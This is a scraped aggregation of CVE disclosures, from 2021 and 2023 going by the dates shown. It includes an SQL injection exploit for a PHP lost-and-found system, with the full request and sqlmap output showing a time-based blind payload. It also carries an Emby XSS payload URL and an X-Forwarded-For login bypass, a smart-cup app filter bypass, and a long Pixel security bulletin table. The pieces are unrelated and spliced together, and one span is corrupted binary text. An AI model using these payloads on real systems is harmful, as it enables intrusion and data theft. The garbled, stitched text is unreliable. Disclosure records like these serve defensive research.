Lost and Found Information System v1.0 was discovered to contain a SQL injection vulnerability via the component /php-lfis/admin/?page=system_info/contact_information.

\# Exploit Title:Lost and Found Information System v1.0 - Sql Injection # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/16525/lost-and-found-information-system-using-php-and-mysql-db-source-code-free-download.html # Version: V1.0.0 # Tested on:Linux REQUEST POST /php-lfis/classes/SystemSettings.php?f=update\_settings HTTP/1.1 Host: localhost Content-Length: 454 sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="94" Accept: application/json, text/javascript, \*/\*; q=0.01 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2NerUgrr08nxdAqe X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 sec-ch-ua-platform: "Linux" Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/php-lfis/admin/?page=system\_info/contact\_information Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: PHPSESSID=fncg346s7j3fr654lsapbb8sqs Connection: close ------WebKitFormBoundary2NerUgrr08nxdAqe Content-Disposition: form-data; name="phone" 1234567890 ------WebKitFormBoundary2NerUgrr08nxdAqe Content-Disposition: form-data; name="mobile" 1234567890 ------WebKitFormBoundary2NerUgrr08nxdAqe Content-Disposition: form-data; name="email" test1@test.com ------WebKitFormBoundary2NerUgrr08nxdAqe Content-Disposition: form-data; name="address" test1 ------WebKitFormBoundary2NerUgrr08nxdAqe-- sqlmap -r lfis.txt --random-agent --batch -tamper=space2comment --dbs \[!\] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program \[\*\] starting @ 22:21:18 /2023-05-11/ \[22:21:18\] \[INFO\] parsing HTTP request from 'lfis.txt' \[22:21:18\] \[INFO\] loading tamper module 'space2comment' \[22:21:18\] \[INFO\] fetched random HTTP User-Agent header value 'Mozilla/5.0 (X11; Linux x86\_64) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/11.04 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30' from file '/usr/share/sqlmap/data/txt/user-agents.txt' Multipart-like data found in POST body. Do you want to process it? \[Y/n/q\] Y \[22:21:18\] \[INFO\] resuming back-end DBMS 'mysql' \[22:21:18\] \[INFO\] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: MULTIPART phone ((custom) POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: ------WebKitFormBoundarydhpsLF47Y6ZvrvP2 Content-Disposition: form-data; name="phone''' AND (SELECT 1875 FROM (SELECT(SLEEP(5)))oGnm) AND 'hBeF'='hBeF ------WebKitFormBoundarydhpsLF47Y6ZvrvP2 Content-Disposition: form-data; name="mobile" 1234567890 ------WebKitFormBoundarydhpsLF47Y6ZvrvP2 Content-Disposition: form-data; name="email" test@test.com ------WebKitFormBoundarydhpsLF47Y6ZvrvP2 Content-Disposition: form-data; name="address" test ------WebKitFormBoundarydhpsLF47Y6ZvrvP2-- --- \[22:21:18\] \[WARNING\] changes made by tampering scripts are not included in shown payload content(s) \[22:21:18\] \[INFO\] the back-end DBMS is MySQL web application technology: PHP 8.1.17, Apache 2.4.56 back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) \[22:21:18\] \[INFO\] fetching database names \[22:21:18\] \[INFO\] fetching number of databases \[22:21:18\] \[WARNING\] time-based comparison requires larger statistical model, please wait.............................. (done) \[22:21:18\] \[WARNING\] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions \[22:21:18\] \[WARNING\] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex' \[22:21:18\] \[ERROR\] unable to retrieve the number of databases \[22:21:18\] \[INFO\] falling back to current database \[22:21:18\] \[INFO\] fetching current database \[22:21:18\] \[INFO\] resumed: lfis\_db available databases \[1\]: \[\*\] lfis\_db \[22:21:18\] \[INFO\] fetched data logged to text files under '/root/.local/share/sqlmap/output/localhost' \[22:21:18\] \[WARNING\] your sqlmap version is outdated \[\*\] ending @ 22:21:18 /2023-05-11/

CVE-2023-33592: CVE/CVE-2023-33592 at main · DARSHANAGUPTA10/CVE

An unauthenticated attacker within BLE proximity can remotely connect to a 7-Eleven LED Message Cup, Hello Cup 1.3.1 for Android, and bypass the application's client-side chat censor filter.

\*\* 7-Eleven Bluetooth Smart Cup Jailbreak \*\*

****

In 2019 7-Eleven distributed a limited promotional item they generically named the 'Custom Message Cup’\*.

*   https://fccid.io/2AQNV-60961HC

Customers could personalize their cups with their own messages & slogans.

The cup consists of a plastic shell lined with an LED strip that communicates via BlueTooth Low Energy & allows users to send messages from their mobile device & is available for Android & iOs.

There is a word filter restriction on this promotional cup that displays filtered words using asterixis '\*'.

Searching the source via JADX-GUI revealed the de-facto list of vulgar words & the regex word filter accomplished via client-side filtering\* so I proceeded to edit that wordlist.

APK Easy Tool was effective in providing a turn-key solution to decompile, sign & recompile the 'Hello Cup'(v1.3.1) Application.

The first step was to retrieve the Smali resource files that is essentially specialized assembly language code that is used to represent the Dalvik bytecode of Android applications & specific to the Android runtime environment.

Because I quit ‘Pokemon GO’ only the string 'pogo' will be restricted & everything else previously banned such as 'ugly' (really?) will no longer be filtered.

As a result the message 'UGLY POGO STICK' previously rendered as '\*\*\*\* POGO STICK' will now display 'UGLY \*\*\*\* STICK'.

Although modifying the application was trivial, it served as an interesting illustration bypassing client-side filtering.

\*\* CWE-602: Client-Side Enforcement of Server-Side Security

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-34761

CVE-2023-34761: GitHub - actuator/7-Eleven-Bluetooth-Smart-Cup-Jailbreak: 'Hacking' a 7-Eleven Bluetooth Smart Cup | CVE-2023-34761

Emby Server < 4.7.12.0 is vulnerable to a login bypass attack by setting the X-Forwarded-For header to a local IP-address.

> This shows neither your name, nor a description of the vulnerability...?

What do you mean? A CVE never shows the name of the researcher (unfortunately). And it shows the description of the vulnerability. Have you refreshed the cache of your browser?

Here is the whole request response e-mail from MITRE in 2023 about what I requested in 2021:

    
     
    
    This email contains information regarding your CVE ID request reports. Each CVE ID request summary is followed by directions or comments for that request.
    
     
    
    CVE's that are ** RESERVED ** will remain in a pending state until we are provided with at least one public reference that follows the CVE Entry Reference Requirement rules in section 8.3 (https://www.cve.org/ResourcesSupport/AllResources/CNARules#section_8-3_cve_record_reference_requirements).
    
    For the reports that are given a CVE ID, please be sure to update their respective references to include their assigned CVE IDs.
    
    When the candidates are publicized, please send us the link to the advisory using[ https://cveform.mitre.org](https://cveform.mitre.org/) with "Notify CVE about a publication" as the request type.
    
     
    
    ---------------------------------------------------------------
    
    > [Vulnerability Type]
    
    >> Incorrect Access Control
    
    ---------------------------------------------------------------
    
    > [Additional Information]
    
    >> This vulnerability type is also explained here:
    
    >>[ https://www.sjoerdlangkemper.nl/2017/03/01/bypass-ip-block-with-x-forwarded-for-header/](https://www.sjoerdlangkemper.nl/2017/03/01/bypass-ip-block-with-x-forwarded-for-header/)
    
    ---------------------------------------------------------------
    
    > [Affected Component]
    
    >> Emby client and administration panel
    
    ---------------------------------------------------------------
    
    > [Attack Type]
    
    >> Remote
    
    ---------------------------------------------------------------
    
    > [Impact Escalation of Privileges]
    
    >> true
    
    ---------------------------------------------------------------
    
    > [Impact Information Disclosure]
    
    >> true
    
    ---------------------------------------------------------------
    
    > [Attack Vectors]
    
    >> To exploit this vulnerability an attacker needs to set the
    
    >> X-Forwarded-For header to a local IP address, in most cases
    
    >> 192.168.1.1 works.
    
    ---------------------------------------------------------------
    
    > [Discoverer]
    
    >> Christopher Simmelink
    
    ---------------------------------------------------------------
    
    > [Reference]
    
    >>[ http://emby.com](http://emby.com/)
    
    >>[ https://www.sjoerdlangkemper.nl/2017/03/01/bypass-ip-block-with-x-forwarded-for-header/](https://www.sjoerdlangkemper.nl/2017/03/01/bypass-ip-block-with-x-forwarded-for-header/)
    
    ---------------------------------------------------------------
    
    > [Vendor of Product]
    
    >> Emby
    
    ---------------------------------------------------------------
    
    > [Affected Product Code Base]
    
    >> Emby Web Affected versions: < 4.5.4.0 - No fix released
    
    >> yet, I tried contacting Emby without any luck so far.
    
    ---------------------------------------------------------------
    
     
    
    Use CVE-2021-25827 for:
    
    ** RESERVED ** An issue was discovered in client and administration panel in Emby Web versions 4.5.4.0 and prior, allows attackers to gain escalated privileges and gain sensitive information via crafted X-Forwarded-For parameter to the HTTP request.
    
     
    
     
    
     
    
     
    
    Changes, additions, or updates to your request should be sent via a new CVE ID Request through our webform at[ https://cveform.mitre.org/](https://cveform.mitre.org/). You may reference this service request number (1011828) if you need to refer back to this specific report.
    
     
    
    Thank you,
    
    CVE Assignment Team
    
     
    
    M/S M300, 202 Burlington Road, Bedford, MA 01730 USA
    
     
    
    [A PGP key is available for encrypted communications at
    
    http://cve.mitre.org/cve/request_id.html]```

CVE-2021-25827: Incorrect Access Control - Don't require a password on the local network (CVE-2021-25827) · Issue #3784 · MediaBrowser/Emby

Emby Server versions < 4.6.0.50 is vulnerable to Cross Site Scripting (XSS) vulnerability via a crafted GET request to /web.

Two years ago I reported an issue regarding a Cross-Site Scripting vulnerability in the \*nux version of Emby Media Server:

    I found a Reflected Cross-Site Scripting as well. Everything after /web/ is reflected. See the attachments for an example: [http://<ip>:8096/web/<script>alert(document.location)</script>](http://<ip>:8096/web/%3Cscript%3Ealert(document.location)%3C/script%3E)
    
    EDIT: This issue only affects the *nux version of the app, the Windows version seems fine.
    

I tested this and I confirm that this issue has been resolved.  
This vulnerability is known as CVE-2021-25828.

CVE-2021-25828: Reflected Cross-Site Scripting (XSS) (CVE-2021-25828) · Issue #3785 · MediaBrowser/Emby

Bagisto v1.5.1 is vulnerable to Server-Side Template Injection (SSTI).

CVE-2023-33570

A vulnerability has been found in IBOS OA 4.5.5 and classified as critical. This vulnerability affects the function actionExport of the file ?r=recruit/interview/export&interviews=x of the component Interview Management Export. The manipulation of the argument interviews leads to sql injection. The exploit has been disclosed to the public and may be used. VDB-232546 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.

Permalink

Cannot retrieve contributors at this time

SQL injection vulnerability exists in IBOS OA v4.5.5

official website:http://www.ibos.com.cn/

route:?r=recruit/interview/export&interviews=x

1.Function point: Integrated office = "Recruitment management =" Interview management = "Export

2.The actionExport() method is found, and the interviews parameters obtained are directly brought to fetchAll() under the model layer for data processing.

There are still some encapsulation processing operations of the method

CVE-2023-3449: cve/iboa oa.md at main · MinimoAgoni/cve

A vulnerability was found in Ruijie RG-BCR860 2.5.13 and classified as critical. This issue affects some unknown processing of the component Network Diagnostic Page. The manipulation leads to os command injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-232547. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.

CVE-2023-3450

In applyRemoteView of NotificationContentInflater.java, there is a possible way to hide foreground service notification due to misleading or insufficient UI. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-13Android ID: A-251586912

_Published June 13, 2023_

The Pixel Update Bulletin contains details of security vulnerabilities and functional improvements affecting supported Pixel devices (Google devices). For Google devices, security patch levels of 2023-06-05 or later address all issues in this bulletin and all issues in the June 2023 Android Security Bulletin. To learn how to check a device's security patch level, see Check and update your Android version.

All supported Google devices will receive an update to the 2023-06-05 patch level. We encourage all customers to accept these updates to their devices.

**Announcements**

*   In addition to the security vulnerabilities described in the June 2023 Android Security Bulletin, Google devices also contain patches for the security vulnerabilities described below.

**Security patches**

Vulnerabilities are grouped under the component that they affect. There is a description of the issue and a table with the CVE, associated references, type of vulnerability, severity, and updated Android Open Source Project (AOSP) versions (where applicable). When available, we link the public change that addressed the issue to the bug ID, like the AOSP change list. When multiple changes relate to a single bug, additional references are linked to numbers following the bug ID.

**Framework**

    

CVE

References

Type

Severity

Updated AOSP versions

CVE-2023-20971

A-225880325

EoP

Moderate

13

CVE-2023-21171

A-261085213

EoP

Moderate

13

CVE-2023-21189

A-213942596

EoP

Moderate

13

CVE-2023-21192

A-227207653

EoP

Moderate

13

CVE-2023-21168

A-253270285

ID

Moderate

13

CVE-2023-21177

A-273906410

ID

Moderate

13

CVE-2023-21178

A-140762419

ID

Moderate

13

CVE-2023-21193

A-233006499

ID

Moderate

13

CVE-2023-21237

A-251586912

ID

Moderate

13

CVE-2023-21167

A-259942964

DoS

Moderate

13

**System**

    

CVE

References

Type

Severity

Updated AOSP versions

CVE-2023-20975

A-250573776

EoP

Moderate

13

CVE-2023-20976

A-216117246

EoP

Moderate

13

CVE-2023-20985

A-245915315

EoP

Moderate

13

CVE-2023-21172

A-262243015

EoP

Moderate

13

CVE-2023-21174

A-235822222

EoP

Moderate

13

CVE-2023-21175

A-262243574

EoP

Moderate

13

CVE-2023-21179

A-272755865

EoP

Moderate

13

CVE-2023-21183

A-235863754

EoP

Moderate

13

CVE-2023-21184

A-267809568

EoP

Moderate

13

CVE-2023-21185

A-266700762

EoP

Moderate

13

CVE-2023-21187

A-246542917

EoP

Moderate

13

CVE-2023-21191

A-269738057

EoP

Moderate

13

CVE-2023-21203

A-262246082

EoP

Moderate

13

CVE-2023-21207

A-262236670

EoP

Moderate

13

CVE-2023-21209

A-262236273

EoP

Moderate

13

CVE-2023-20968

A-262235935

ID

Moderate

13

CVE-2023-20972

A-255304665

ID

Moderate

13

CVE-2023-20973

A-260568245

ID

Moderate

13

CVE-2023-20974

A-260078907

ID

Moderate

13

CVE-2023-20977

A-254445952

ID

Moderate

13

CVE-2023-20979

A-259939364

ID

Moderate

13

CVE-2023-20980

A-260230274

ID

Moderate

13

CVE-2023-20981

A-256165737

ID

Moderate

13

CVE-2023-20982

A-260568083

ID

Moderate

13

CVE-2023-20983

A-260569449

ID

Moderate

13

CVE-2023-20984

A-242993878

ID

Moderate

13

CVE-2023-20986

A-255304475

ID

Moderate

13

CVE-2023-20987

A-260569414

ID

Moderate

13

CVE-2023-20988

A-260569232

ID

Moderate

13

CVE-2023-20989

A-260568367

ID

Moderate

13

CVE-2023-20990

A-260568354

ID

Moderate

13

CVE-2023-20991

A-255305114

ID

Moderate

13

CVE-2023-20992

A-260568750

ID

Moderate

13

CVE-2023-21027

A-216854451

ID

Moderate

13

CVE-2023-21031

A-242688355

ID

Moderate

13

CVE-2023-21169

A-274443441

ID

Moderate

13

CVE-2023-21170

A-252764410

ID

Moderate

13

CVE-2023-21173

A-262741858

ID

Moderate

13

CVE-2023-21180

A-261365944

ID

Moderate

13

CVE-2023-21181

A-264880969

ID

Moderate

13

CVE-2023-21182

A-252764175

ID

Moderate

13

CVE-2023-21188

A-264624283

ID

Moderate

13

CVE-2023-21190

A-251436534

ID

Moderate

13

CVE-2023-21194

A-260079141

ID

Moderate

13

CVE-2023-21195

A-233879420

ID

Moderate

13

CVE-2023-21196

A-261857395

ID

Moderate

13

CVE-2023-21197

A-251427561

ID

Moderate

13

CVE-2023-21198

A-245517503

ID

Moderate

13

CVE-2023-21199

A-254445961

ID

Moderate

13

CVE-2023-21200

A-236688764

ID

Moderate

13

CVE-2023-21202

A-260568359

ID

Moderate

13

CVE-2023-21204

A-262246231

ID

Moderate

13

CVE-2023-21205

A-262245376

ID

Moderate

13

CVE-2023-21206

A-262245630

ID

Moderate

13

CVE-2023-21208

A-262245254

ID

Moderate

13

CVE-2023-21210

A-262236331

ID

Moderate

13

CVE-2023-21211

A-262235998

ID

Moderate

13

CVE-2023-21212

A-262236031

ID

Moderate

13

CVE-2023-21213

A-262235951

ID

Moderate

13

CVE-2023-21214

A-262235736

ID

Moderate

13

CVE-2023-21176

A-222287335

DoS

Moderate

13

CVE-2023-21186

A-261079188

DoS

Moderate

13

CVE-2023-21201

A-263545186

DoS

Moderate

13

**Pixel**

    

CVE

References

Type

Severity

Subcomponent

CVE-2023-21066

A-250100597 \*

RCE

Critical

exynos-slsi

CVE-2023-21225

A-270403821 \*

EoP

High

Protected Confirmation

CVE-2022-39901

A-263783333 \*

ID

High

Lassen Baseband

CVE-2023-21219

A-264698379 \*

ID

High

TBD

CVE-2023-21220

A-264590585 \*

ID

High

TBD

CVE-2023-21226

A-240728187 \*

ID

High

modem

CVE-2023-21146

A-239867994 \*

EoP

Moderate

LWIS

CVE-2023-21147

A-269661912 \*

EoP

Moderate

Pixel camera driver

CVE-2023-21149

A-270050709 \*

EoP

Moderate

ShannonRcs

CVE-2023-21151

A-265149414 \*

EoP

Moderate

Google BMS Module

CVE-2023-21153

A-264259730 \*

EoP

Moderate

rild\_exynos

CVE-2023-21157

A-263783137 \*

EoP

Moderate

exynos-ril

CVE-2023-21159

A-263783565 \*

EoP

Moderate

exynos-ril

CVE-2023-21161

A-263783702 \*

EoP

Moderate

exynos-ril

CVE-2023-21222

A-266977723 \*

EoP

Moderate

libdmc

CVE-2023-21236

A-270148537 \*

EoP

Moderate

aoc\_core device driver

CVE-2023-21148

A-263783657 \*

ID

Moderate

exynos RIL

CVE-2023-21150

A-267312009 \*

ID

Moderate

audio service

CVE-2023-21152

A-269174022 \*

ID

Moderate

android.hardware.camera.provider

CVE-2023-21154

A-263783910 \*

ID

Moderate

rild\_exynos

CVE-2023-21155

A-264540700 \*

ID

Moderate

libsitril

CVE-2023-21156

A-264540759 \*

ID

Moderate

rild\_exynos

CVE-2023-21158

A-263783635 \*

ID

Moderate

exynos-ril

CVE-2023-21160

A-263784118 \*

ID

Moderate

exynos-ril

CVE-2023-21223

A-256047000 \*

ID

Moderate

Exynos SLSI

CVE-2023-21224

A-265276966 \*

ID

Moderate

exynos-slsi

**Qualcomm components**

    

CVE

References

Severity

Subcomponent

CVE-2022-33303  

A-261492548  
QC-CR#3181878 \[2\] \[3\] \[4\] \[5\] \[6\] \[7\] \[8\] \[9\]

Moderate

Kernel

**Qualcomm closed-source components**

    

CVE

References

Severity

Subcomponent

CVE-2022-33224  

A-261492743 \*

Moderate

Closed-source component

CVE-2022-33226  

A-261492388 \*

Moderate

Closed-source component

CVE-2022-33227  

A-261492566 \*

Moderate

Closed-source component

CVE-2022-33230  

A-261492641 \*

Moderate

Closed-source component

CVE-2022-33240  

A-261492550 \*

Moderate

Closed-source component

CVE-2022-33263  

A-261492485 \*

Moderate

Closed-source component

CVE-2022-33267  

A-238893635 \*

Moderate

Closed-source component

**Functional patches**

For details on the new bug fixes and functional patches included in this release, refer to the Pixel Community forum.

**Common questions and answers**

This section answers common questions that may occur after reading this bulletin.

**1\. How do I determine if my device is updated to address these issues?**

Security patch levels of 2023-06-05 or later address all issues associated with the 2023-06-05 security patch level and all previous patch levels. To learn how to check a device's security patch level, read the instructions on the Google device update schedule.

**2\. What do the entries in the _Type_ column mean?**

Entries in the _Type_ column of the vulnerability details table reference the classification of the security vulnerability.

 

Abbreviation

Definition

RCE

Remote code execution

EoP

Elevation of privilege

ID

Information disclosure

DoS

Denial of service

N/A

Classification not available

**3\. What do the entries in the _References_ column mean?**

Entries under the _References_ column of the vulnerability details table may contain a prefix identifying the organization to which the reference value belongs.

 

Prefix

Reference

A-

Android bug ID

QC-

Qualcomm reference number

M-

MediaTek reference number

N-

NVIDIA reference number

B-

Broadcom reference number

U-

UNISOC reference number

**4\. What does an \* next to the Android bug ID in the _References_ column mean?**

Issues that are not publicly available have an \* next to the Android bug ID in the _References_ column. The update for that issue is generally contained in the latest binary drivers for Pixel devices available from the Google Developer site.

**5\. Why are security vulnerabilities split between this bulletin and the Android Security Bulletins?**

Security vulnerabilities that are documented in the Android Security Bulletins are required to declare the latest security patch level on Android devices. Additional security vulnerabilities, such as those documented in this bulletin are not required for declaring a security patch level.

**Versions**

  

Version

Date

Notes

1.0

June 13, 2023

Bulletin Published

CVE-2023-21237: Pixel Update Bulletin—June 2023

A vulnerability exists that can be exploited by an authenticated client that is connected to the same network segment as the CoreTec 4, having any level of access VIEWER to ADMIN. To exploit the vulnerability the attacker can inject shell commands through a particular field of the web user interface that will be executed by the system.

�����{������~���7o���o�,����ۿ��x�?=�I�'� �|RQ>��S��OnaAW�� #�����Y�mwcU�&������'2%19�|�o��b�@X �~>=��L�9��^��p���LQ{A�� \_I{����0����?��������;x�\]a ����?L?�N��z�I"#{�U�F�p2�؜J��p��+zi�0�{��G��i�"q�����\*�v�A�F���W �a�&�\\���HM�ڑ,�O'���kpK�>\*�8�̄Բ�˘�I�s���:jXp�����&����1��pI�\]�9^�D�/��e\]X�x\*f��+ˌ�����ˑ�h�t��bs��4ܮ��|��~)�h��H2�d�"�x��mR��.;8��k<��&5�{�ƎG"��U@�QC��(��4��k?�Ke,�E\]��M �㪫�ϑ�빎>teU\]w��7�kD��ho�h�>\_��Z�⸨�@����h�p��+��<��C�� gn�y���=U�6i;�!�$�z,\[�̱zjI.cs�|��5b��?÷�vF��F�.H����᳅�4� ���� ,����"y�>�������tZ1��)j�X�Ά����ս �K��r���DGF۰���9,��L��0��Nfz��!O�O5�(�RK0�� @wWl\`��\[���?��;0�;����V��P��l%�E#��n���?;�� \`������e��s��!V/0�Y��o��s��6Z\]Gb�+MH}��5�Y+l?�%���t���Az�6)C�ns��JVط�,Ԃ�a3�v��\]��FA�4���^��3,6,��3<,�h7�s>�J�qӕDGKb����9��\_����1j&��(t�S\]��\*�J���k�=ĳhA��ȃ����ރ)�'��sk\*h��NE�U��k����������w N���>�vo/��������wg�|��� #\[��K�f��J �����^�" �I�3��

CVE-2023-2625

IBM Informix JDBC Driver 4.10 and 4.50 is susceptible to remote code execution attack via JNDI injection when driver code or the application using the driver do not verify supplied LDAP URL in Connect String.  IBM X-Force ID:  249511.